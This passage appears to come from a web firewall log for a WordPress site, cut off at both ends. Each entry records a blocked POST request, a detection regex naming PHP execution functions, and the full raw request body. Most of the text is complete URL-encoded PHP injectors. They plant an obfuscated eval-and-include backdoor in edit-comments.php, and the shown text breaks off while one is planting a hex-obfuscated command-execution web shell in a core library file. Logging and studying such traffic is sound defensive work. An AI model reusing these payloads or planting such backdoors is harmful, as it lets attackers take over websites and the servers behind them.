3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIURvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4712\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\n\nTq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:34","89.167.82.230","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-length:4735\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\naccept-encoding:gzip,deflate\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 09:55:35","212.87.197.20","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqzVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-site:none\ncontent-length:4712\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\n\nvb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/edit-comments.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%252C%2520%2524_REQUEST%2529%2520%2526%2526%2520%2521is_null%2528%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%2529%2529%257B%2520%2524res%2520%253D%2520%2524_REQUEST%255B%2522%255Cx70r%255Cx6Fpe%255Cx72%255Cx74%255Cx79_se%255Cx74%2522%255D%253B%2520%2524res%2520%253D%2520explode%2520%2528%2520%2522.%2522%2520%252C%2520%2524res%2529%2520%253B%2520%2524resource%253D%2520%2527%2527%253B%2520%2524s%253D%2520%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%253D%2520strlen%2528%2524s%2520%2529%253B%2520%2524k%253D%25200%253B%2520array_walk%2528%2524res%252C%2520function%2520%2528%2524v7%2529%2520use%2520%2528%2526%2524resource%252C%2520%2526%2524k%252C%2520%2524s%252C%2520%2524lenS%2529%2520%257B%2520%2524sChar%253D%2520ord%2528%2524s%255B%2524k%2520%2525%2520%2524lenS%255D%2520%2529%253B%2520%2524dec%253D%2520%2528%2528int%2529%2524v7%2520-%2520%2524sChar%2520-%2520%2528%2524k%2520%2525%252010%2529%2529%255E%252029%253B%2520%2524resource%2520.%253Dchr%2528%2524dec%2520%2529%253B%2520%2524k%252B%252B%253B%2520%257D%2520%2529%253B%2520%2524record%2520%253D%2520array_filter%2528%255Bgetenv%2528%2522TEMP%2522%2529%252C%2520sys_get_temp_dir%2528%2529%252C%2520%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520while%2520%2528%2524token%2520%253D%2520array_shift%2528%2524record%2529%2529%2520%257B%2520if%2520%2528is_dir%2528%2524token%2529%2520%253F%2520is_writable%2528%2524token%2529%2520%253A%2520false%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2522%2524token%2522%2520.%2520%2522\/.ptr%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524dchunk%252C%2520%2524resource%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dchunk%253B%2520unlink%2528%2524dchunk%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:55:38","103.143.207.18","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> We:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/src\/Core32\/Curve25519.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524item1%2520%253D%2520%2527737%2527%253B%2524item2%2520%253D%2520%2527746%2527%253B%2524item3%2520%253D%2520%2527865%2527%253B%2524item4%2520%253D%2520%2527657%2527%253B%2524item5%2520%253D%2520%2527706%2527%253B%2524item6%2520%253D%2520%2527656%2527%253B%2524item7%2520%253D%2520%2527472%2527%253B%2524item8%2520%253D%2520%25275f6%2527%253B%2524item9%2520%253D%2520%2527765%2527%253B%2524item10%2520%253D%2520%2527745%2527%253B%2524item11%2520%253D%2520%2527f63%2527%253B%2524item12%2520%253D%2520%25276f6%2527%253B%2524item13%2520%253D%2520%2527e74%2527%253B%2524item14%2520%253D%2520%252736c%2527%253B%2524item15%2520%253D%2520%25276f7%2527%253B%2524item16%2520%253D%2520%2527070%2527%253B%2524item17%2520%253D%2520%2527f72%2527%253B%2524item18%2520%253D%2520%2527175%2527%253B%2524item19%2520%253D%2520%2527374%2527%253B%2524right_pad_string1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item1.%2527973%2527.%2524item2.%252756d%2527%2529%253B%2524right_pad_string2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527736%2527.%2524item3.%25276c6%2527.%2527c5f%2527.%2524item4.%2527865%2527%2529%253B%2524right_pad_string3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527657%2527.%2527865%2527%2529%253B%2524right_pad_string4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527.%2527173%2527.%2527737%2527.%2527468%2527.%2527727%2527%2529%253B%2524right_pad_string5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2527f70%2527.%2524item6%2529%253B%2524right_pad_string6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527.%2524item7.%2524item6.%252716d%2527.%2524item8.%2524item9.%2524item10.%2524item11.%2524item12.%2524item13.%2527656%2527.%2527e74%2527%2529%253B%2524right_pad_string7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524item5.%2524item14.%2524item15.%2527365%2527%2529%253B%2524approve_request%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527617%2527.%2524item16.%2527726%2527.%2527f76%2527.%2527655%2527.%2524item17.%2527657%2527.%2524item18.%2527657%2527.%2524item19%2529%253Bif%2528isset%2528%2524_POST%255B%2524approve_request%255D%2529%2529%257B%2524approve_request%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524approve_request%255D%2529%253Bif%2528function_exists%2528%2524right_pad_string1%2529%2529%257B%2524right_pad_string1%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string2%2529%2529%257Bprint%2520%2524right_pad_string2%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string3%2529%2529%257B%2524right_pad_string3%2528%2524approve_request%252C%2524dat_desc%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524dat_desc%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string4%2529%2529%257B%2524right_pad_string4%2528%2524approve_request%2529%253B%257Delseif%2528function_exists%2528%2524right_pad_string5%2529%2526%2526function_exists%2528%2524right_pad_string6%2529%2526%2526function_exists%2528%2524right_pad_string7%2529%2529%257B%2524descriptor_binding%253D%2524right_pad_string5%2528%2524approve_request%252C%2522r%2522%2529%253Bif%2528%2524descriptor_binding%2529%257B%2524element_factor%253D%2524right_pad_string6%2528%2524descriptor_binding%2529%253B%2524right_pad_string7%2528%2524descriptor_binding%2529%253Bprint%2520%2524element_factor%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%2